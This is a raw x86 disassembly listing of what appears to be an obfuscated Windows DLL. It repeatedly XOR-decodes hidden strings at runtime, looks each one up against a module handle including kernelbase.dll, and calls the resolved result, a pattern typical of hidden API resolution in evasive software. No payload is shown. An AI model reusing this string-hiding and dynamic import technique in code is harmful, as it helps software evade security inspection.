mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x100f35fc]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2c], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x28]
pxor xmm1, xmm0
movd dword [ebp - 0x28], xmm1
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2c], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xc
jl 0x10067230
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10067280
sub ecx, edx
lea eax, [ebp - 0x2c]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0xf
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100672ee
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100672e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c09
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
movq xmm0, qword [str.zH_I_y__]
add esp, 4
cmp byte [str.DI_USO_R_o__E], 0
mov eax, dword [0x100f3690]
movq qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x24], eax
je 0x1006745e
xor edx, edx
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10067430
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.zH_I_y__]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2c], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x28]
pxor xmm1, xmm0
movd dword [ebp - 0x28], xmm1
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2c], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xc
jl 0x10067430
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10067480
sub ecx, edx
lea eax, [ebp - 0x2c]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x10
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100674ee
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100674e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c0e
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
movups xmm0, xmmword [str._OjRRJ___v__4___]
mov eax, dword [0x100f3280]
add esp, 4
mov dword [ebp - 0x58], eax
mov ax, word [0x100f3284]
mov word [ebp - 0x54], ax
movups xmmword [ebp - 0x70], xmm0
movq xmm0, qword [0x100f3278]
movq qword [ebp - 0x60], xmm0
test ah, ah
je 0x1006769e
xor edx, edx
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10067670
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x100f8cc0]
movaps xmm3, xmmword [0x100f8fa0]
movaps xmm6, xmmword [0x100f8dc0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov ecx, dword [ebp - 0x30]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x70]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x70], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x6c]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x6c], xmm1
add edx, 8
cmp edx, 0x18
jl 0x10067570
mov dword [ebp - 0x14], edx
cmp edx, 0x1e
jge 0x1006769e
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x70], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x1e
jl 0x10067670
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100676c0
sub ecx, edx
lea eax, [ebp - 0x70]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x11
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x1006772e
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10067724
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c13
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
movups xmm0, xmmword [str._OzTP_]
mov ax, word [0x100f3758]
add esp, 4
mov word [ebp - 0x54], ax
movups xmmword [ebp - 0x6c], xmm0
movq xmm0, qword [0x100f3750]
movq qword [ebp - 0x5c], xmm0
test ah, ah
je 0x100678cf
xor edx, edx
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x100678a1
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x100f8cc0]
movaps xmm3, xmmword [0x100f8fa0]
movaps xmm6, xmmword [0x100f8dc0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov ecx, dword [ebp - 0x30]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x6c]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x6c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x68]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x68], xmm1
add edx, 8
cmp edx, 0x18
jl 0x100677a2
mov dword [ebp - 0x14], edx
cmp edx, 0x1a
jge 0x100678cf
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x6c], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x1a
jl 0x100678a1
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100678f0
sub ecx, edx
lea eax, [ebp - 0x6c]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x12
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x1006795e
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10067954
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c18
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
movups xmm0, xmmword [0x100f33f4]
mov ax, word [0x100f340c]
xor edx, edx
mov word [ebp - 0x55], ax
add esp, 4
mov al, byte [0x100f340e]
mov byte [ebp - 0x53], al
mov dword [ebp - 0x14], edx
movups xmmword [ebp - 0x6d], xmm0
movq xmm0, qword [0x100f3404]
movq qword [ebp - 0x5d], xmm0
cmp edi, 2
jl 0x10067ad1
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x100f8cc0]
movaps xmm3, xmmword [0x100f8fa0]
movaps xmm6, xmmword [0x100f8dc0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov ecx, dword [ebp - 0x30]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x6d]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x6d], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x69]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x69], xmm1
add edx, 8
cmp edx, 0x18
jl 0x100679d2
mov dword [ebp - 0x14], edx
cmp edx, 0x1b
jge 0x10067aff
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x6d], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x1b
jl 0x10067ad1
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x6d]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10067b20
sub ecx, edx
lea eax, [ebp - 0x6d]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x13
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10067b8e
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10067b84
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c1d
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
movups xmm0, xmmword [str.TNQnGL4__]
mov al, byte [0x100f38b0]
xor edx, edx
add esp, 4
mov byte [ebp - 0x53], al
mov dword [ebp - 0x14], edx
movups xmmword [ebp - 0x6b], xmm0
movq xmm0, qword [0x100f38a8]
movq qword [ebp - 0x5b], xmm0
cmp edi, 2
jl 0x10067d00
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x100f8cc0]
movaps xmm3, xmmword [0x100f8fa0]
movaps xmm6, xmmword [0x100f8dc0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov ecx, dword [ebp - 0x30]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x6b]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x6b], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x67]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x67], xmm1
add edx, 8
cmp edx, 0x18
jl 0x10067c00
mov dword [ebp - 0x14], edx
cmp edx, 0x19
jge 0x10067d2e
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x6b], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x19
jl 0x10067d00
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x6b]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10067d50
sub ecx, edx
lea eax, [ebp - 0x6b]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x14
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10067dbe
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10067db4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c22
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
mov eax, dword [0x100f3814]
xor edx, edx
movups xmm0, xmmword [str._OoDMK__]
mov dword [ebp - 0x59], eax
add esp, 4
mov ax, word [0x100f3818]
mov word [ebp - 0x55], ax
mov al, byte [0x100f381a]
mov byte [ebp - 0x53], al
mov dword [ebp - 0x14], edx
movups xmmword [ebp - 0x69], xmm0
cmp edi, 2
jl 0x10067f30
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x100f8cc0]
movaps xmm3, xmmword [0x100f8fa0]
movaps xmm6, xmmword [0x100f8dc0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov ecx, dword [ebp - 0x30]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x69]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x69], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x65]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x65], xmm1
add edx, 8
cmp edx, 0x10
jl 0x10067e30
mov dword [ebp - 0x14], edx
cmp edx, 0x17
jge 0x10067f5e
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x69], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x17
jl 0x10067f30
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x69]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10067f80
sub ecx, edx
lea eax, [ebp - 0x69]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x15
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10067fee
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10067fe4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c27
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
add esp, 4
mov ecx, str.kernelbase.dll
call fcn.100470f0
mov esi, eax
test esi, esi
je 0x10068804
cmp byte [0x100f343b], 0
movq xmm0, qword [0x100f3430]
mov ecx, dword [0x100f3438]
movq qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x24], ecx
je 0x10068171
xor edx, edx
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10068143
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x100f3430]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2c], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x28]
pxor xmm1, xmm0
movd dword [ebp - 0x28], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2c], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xc
jl 0x10068143
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10068190
sub ecx, edx
lea eax, [ebp - 0x2c]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x16
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, esi
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov edi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100681fd
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100681f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c2c
push ecx
push edx
call fcn.100b0b76
add esp, 8
push edi
call dword [ebp - 0x4c]
mov eax, dword [0x100f33c4]
xor edx, edx
movq xmm0, qword [0x100f33bc]
add esp, 4
